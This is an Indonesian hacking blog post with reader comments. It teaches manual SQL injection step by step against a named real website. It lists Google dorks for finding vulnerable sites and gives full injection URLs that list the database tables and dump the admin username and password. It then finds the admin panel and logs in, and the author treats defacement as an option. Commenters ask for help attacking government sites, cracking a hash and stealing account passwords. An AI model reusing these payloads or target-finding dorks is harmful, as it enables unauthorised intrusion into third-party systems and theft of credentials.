Wednesday, November 26, 2014

Tutorial Hacking SQL Injection dengan cara manual

Hai sobat blogger,kali ini saya akan membahas tentang SQL Injection dengan cara manual,sebenarnya ada juga cara yg lebih simple dengan menggunakan sqlmap tetapi tidak ada salahnya juga kan kita coba dengan cara manual agar kita bisa tau dasar2nya :D

Apa itu SQL Injection?
SQL Injection (SQLI) adalah suatu teknik hacking yang di gunakan oleh penyerang/attacker untuk mendapatkan sebuah database dengan menyisipkan perintah - perintah SQL melalui url

Bagaimana cara mengetahui web yang terkenal celah SQLI?
Hal yang pertama harus di ketahui oleh attacker untuk mengetahui apakah suatu situs terkena celah SQL Injection atau tidak adalah dengan cara membuat suatu error pada URL tersebut,dengan cara menambah karakter (') [tanpa tanda kurung setelah angka/id pada situs tersebut

Berikut adalah contoh url yg memungkinkan terkena celah SQL Injection
http://situstarget.com/berita.php?id=23 --> web terlihat normal
lalu kita sisipkan karakter ' untuk mengetahui situs tersebut error atau tidak, seperti dibawah ini
http://situstarget.com/berita.php?id=23' -->web terlihat error



Bagaimana cara mencari target suatu web untuk di eksekusi?
Gampang saja,kalo untuk mecari web yang terkena celah SQL Injection adalah dengan cara dorking di google :D
Apa itu dorking? dorking adalah suatu cara attacker untuk mencari struktur pada sebuah situs seperti mencari direktori/file/script dan lain lain

Untuk Dork SQLI sobat bisa gunakan dork-dork di bawah ini :
inurl:azerty.php?id=
inurl:bouquin.php?id=
inurl:lien.php?id=
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=

Oke mungkin sudah cukup penjelasan tentang SQL Injection,sekarang kita coba untuk melakukan teknik SQL Injection ini :D


Pertama-pertama kita mencari target dengan teknik dorking :D seperti dibawah ini

Nah seperti contioh diatas saya menemukan web yang memungkinkan memiliki celah SQL Injection,yup langsung aja kita test url tersebut dengan memberikan karakter (') pada id url agar kita bisa mengetahui web tersebut bisa di SQL Injection atau tidak :D

http://morningkiss.com.my/product_detail.php?id=116

Contoh gambar diatas adalah pada saat kondisi web masih normal dan belum kita berikan karakter (') pada id url,sekarang kita coba tambahkan karakter (') pada id url menjadi :

Seperti kita lihat pada gambar diatas setelah kita berikan karakter (') pada url id maka terdapat error pada isi web tersebut "Fatal error: Call to a member function Recordcount() on a non-object in /home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60" jika begitu berarti web tersebut terkena celah SQL Injection.
NP : untuk error pada website bisa berbeda - beda pesan teksnya tidak selalu seperti contoh diatas
Berikut contoh-contoh error pada web yang terkena celah SQL Injection
-You have an error in your SQL syntax;
-Warning: mysql_fetch_array()
-Warning: mysql_num_rows()
-dan masih banyak lagi

Oke lanjut,sekarang kita coba untuk mengetahui isi database web tersebut menggunakan perintah-perintah Query ;)

Untuk mengetahui isi database web tersebut,pertama kita harus mencoba temukan ada berapa column database tersebut dengan cara memberikan perintah "order by 1--+-" pada akhir url id menjadi :
Untuk lebih jelasnya seperti dibawah ini

Nah ketika kita coba tambahkan perintah tersebut,web kembali normal tetapi disini kita harus mengetahui ada berapa column database itu,berarti kita harus mencarinya dengan perintah sebelumnya dengan merubah perintah "order by 1--+-" menjadi "order by 2--+-" dan jika kita sudah mengubahnya dengan "order by 2 --+-" kondisi web masih normal kita coba terus dengan menambahkan angka tersebut terus menerus sampai mendapatkan suatu error seperti gambar dibawah ini

Dan kita menemukan error pada "order by 9 --+-" atau jika di tulis di url
berarti kita mengetahuinya,column database tersebut terdapat 8 column,loh kok kenapa 8 column? sedangkan di website errornya sampai di order 9? oke saya jelaskan disini. Kenapa 8 column? kerena setelah kita coba dengan perintah order by 1,2,3,4,5,6,7 sampai 8 tidak terdapat error dan yang terjadi error pada order by 9,secara logika berarti web tersebut tidak ada database di column ke 9 dan hanya ada sampai column ke 8. ya seperti itulah kurang lebih jelasnya hehe..

Oke lanjut..
setelah kita mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi column pada laman web tersebut di antara 8 column itu dengan perintah "union select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan karakter (-) urlnya menjadi :

Setekah di coba ternyata muncul angka - angka ajaib hehe,disana kita lihat terdapat angka 2 dan 6 yang sebelumnya tidak ada pernah ada angka tersebut,karna dari itu disebut angka ajaib hehe..
pertanyaannya untuk apa angka ajaib itu? oke saya jelaskan,kan sebelumnya kita mau mencari letak isi column laman pada web tersebut diantara 1-8 column,nah itu dia angka ajaib itu adalah letak column isi lama pada web tersebut,di column 2 atau 6 itu sama saja :D

Oke ketika kita sudah mengetahui letak columnya,kita bisa melihat apa saja yang kita perlukan melalui perintah-perintah query seperti melihat versi database,nama column database,dan lain-lain

Sebelum kita melanjutkannya kita harus tau version database tersebut,karna jika version database web tersebut adalah version 4.xx.xx.xx itu agak ribet melakukan perintah2 SQL Injectionnya karna untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya. Tetapi jika kita menemukan version 5.xx.xx.xx berarti kita bisa melanjutkan eksekusi SQL Injection ini

Yup,untuk melihat version database kita menggunakan perintah "@@version" pada angka ajaib tersebut dengan cara mengubah angka 2 (angka 2 atau 6 sama saja,tapi disini saya menggunakan angka 2) menjadi "@@version" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,@@version,3,4,5,6,7,8--+-


Dan ternyata version databasenya 5.1.73 berarti kita bisa melanjutkannya hehe
NP:Tapi biasanya rata2 semua web sudah menggunakan version databse 5 keatas,jadi jarang version 4 kebawah

Lalu setelah sudah mengetahui version,sekarang yang kita lakukan adalah melihat isi nama - nama database tersebut,tujuan melihat isi database bermacem macem seperti kita ingin melihat user dan password admin atau data-data penting lainnya jadi celah SQL Injection ini cukup berbahaya juga

Oke lanjut,cara untuk melihat isi nama-nama database kita menggunakan perintah "group_concat(table_name)" dan lalu di akhir url sebelum karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()" jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+-


Dan alhasil kita lihat,kita mendapatkan isi-isi database web tersebut :D sekarang kita coba mencari user admin pada web tersebut,biasanya isi database user admin begitu namanya admin,useradmin,loginadmin,useradmin,atau yang lainnya yang bergantungan dengan admin,nah disini kita bisa melihat kita sepertinya menemukan table database admin yaitu dengan "tbl_admin" ya udah kalo begitu kita coba bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah sebelumnya,jadi perintah "group_concat(table_name)" di ubah menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema=" menjadi "from+information_schema.columns+where+table_name=" lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk mengubah teks "tbl_admin" menjadi Decimal kita bisa menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang bernama HackBar atau kalian bisa download dan install di sini
NP: jika tidak muncul HackBarnya pada saat sudah selesai install kalian bisa memunculkan hanya tinggal klik kanan pada menu firefox lalu pilih HackBar

Dan untuk cara penggunaanya cukup mudah hanya tinggal pilih SQL > MySQL > MySQL CHAR() setelah itu masukan teks yang ingin di ubah ke Decimal contoh kasus disini ialah "tbl _admin" dan alhasil kita dapatkan hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)" setelah itu kita masukan ke perintah SQL Injection

Nah setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk melihat isi table tbl_admin tersebut, jadi urlnya menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-


Dan ternyata pada saat kita gunakan perintah tersebut kita bisa melihat disana ada column database untuk username admin dan password admin,ya sudah langsung saja kita bongkar dengan sedikit lagi mengubah perintah sebelumnya yaitu "group_concat(column_name)" dengan "group_concat(admin_username,0x3a,admin_password)" dan "+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-"

NP:perintah yang terdapat di antara admin_username dan admin_password adalah perintah untuk memisahkan/pembatas kerakter (:) agar username dan password tidak berantakan ketika kita lihat jadi bisa kita gunakan permisah dengan perintah 0x3a

dan urlnya sekarang menjadi :
http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+-


daaannnn..... Gotcha kita mendapatkan username dan password admin hehehe..
Lalu langkah terakhir tinggal mencari tempat admin loginnya biasanya sih di /admin atau /administrators tapi jika kalian coba lalu tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk mengecek security web mereka
tapi bisa juga kita gunakan untuk mencari admin login lohhh.. cara menggunakannya cukup mudah hanya dengan memasukan web yg ingin kita scan di kolom scan pada software tersebut lalu software tersebut akan secara otomatis memberikan informasi kepada kita direktori pada web tersebut hehe untuk lebih jelasnya lihat gambar dibawah ini :

dan kita lihat disana saya mencoba scan web http://morningkiss.com.my dan ternyata admin loginnya terdapat pada dir adminCP,ketika agan sekalian sudah tau dir admin dan username password admin tinggal tunggu apalagi coba kita login

Dan hasil kita bisa login,sekarang tinggal seterah agan dah mau diapain,

Yup sampai disini dulu Tutorial dari saya,untuk kurang lebihnya mohon maaf jika ada kesalahan dalam pengetikan dan Penyampaiannya :D

Jika ada pertanyaan atau saran silahkan komentar dibawah ini :)

28 comments:

  1. email aja gan buat kontaknya,thanks atas kujungannya (y)

    ReplyDelete
  2. oke gan nanti ane maen2 ke blog ente,makasih atas kunjungannya (y)

    ReplyDelete
  3. gan kalo untuk solusi setelah kita melakukan injection itu bagaimana ?

    ReplyDelete
    Replies
    1. solusi mencegahnya atau solusi setelah mendapatkan datanya? kalo solusi setelah inject web dan login ke adminnya seterah agan,biasanya ada yang mendeface atau sebagainya..

      Delete
    2. nih saya kan ada tugas ya untuk sekedar menginjek admin dan paswordnya saya buat web melalui dreamweaver buatnya hanya formloginnya aja tapi setelah saya buat ga bisa dikasih kutip itu kalau melalui skripnya gimana gan ?

      Delete
    3. Apakah sudah buat phpnya sebagai koneksi antara database dengan form loginnya?

      Delete
  4. weleh2 gan artikelnya super keren. thx gan. sering2 bikin artikel haking gan, maklum ane jadi ketagihan banget gara2 artikel agan

    ReplyDelete
    Replies
    1. Iya kalo ada waktu ane share2 lagi,yang buat pembelajaran aja :D

      Delete
  5. PendopoSquad Hack
    Kunjungi blog ini untuk info tentang hack dan lain lain
    Salam pendoposquad
    http://www.pendoposquadhack.com

    ReplyDelete
  6. bro kalau gak ada errornya gimana?

    ReplyDelete
    Replies
    1. misalnya jika terdapat vuln sqli pada berita,maka jika di beri kutip di url,biasanya textnya ada yg hilang

      Delete
  7. Nice info gan, sangat membantu untuk proses pembelajaran ane...

    Mampir ya gan..thx
    mfadhil17.blogspot.co.id

    ReplyDelete
  8. wuihh mantap gan artikelnya, tapi ada satu hal nih gan, kalau belum dapat tabel adminnya hanya nge stuck pada bagian http://morningkiss.com.my/product_detail.php?id=-116 union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+- ini saja gimana gan ?

    ReplyDelete
  9. Komentar ini telah dihapus oleh administrator blog.

    ReplyDelete
  10. saya sangat terbantu dengan artikel agan.. trimakasih banyak ya gan
    tolong buat artikel tentang deface situs pemeritah (go.id)
    trimakasih ya

    ReplyDelete
  11. Keren sob, cra krjanya hampir sm dgn software hav***.exe
    Bisa ni buat nmbh ilmu, boleh mnta emailnya sob buat kontak. Trmksh

    ReplyDelete
  12. gan ini decriptnya ai gimana 3f973879c30dec7ae5bfa6f2ed8412fb

    ReplyDelete
  13. Saya juga sama sama masih belajar, kalo buat sharing sharingan boleh gan.

    Thanks sudah berkunjung gan

    ReplyDelete
  14. So...:> Ngasih tw Vuln.... :@ Padahal web ente sendiri masih vuln.. :v...:) Sekarang ane dah kasih tw bahwa web ente itu vuln cepet perbaiki sebelum ada yang ngerusak... :)

    ReplyDelete
    Replies
    1. wow,vuln dimana gan? padahal web yang digunakan blogger :D

      Delete
  15. Mantap makasih ilmunya. Help me dong. Gmn ya carana supaya tau password user pada wab mig.me

    ReplyDelete
    Replies
    1. web sebesar mig.me tidak mungkin dengan mudahnya mendapatkan akses,perlu banyak di analisa terlebih dahulu :)

      Delete
  16. gan seumpama target kita web pilihan kita sendiri ndak bisa ya ,, seumpa kita punya web sendiri untuk coba2,, dan kita mau mencoba untuk ngehack? berarti bisanya cuma web yang di tentukan Dork SQLI ?

    ReplyDelete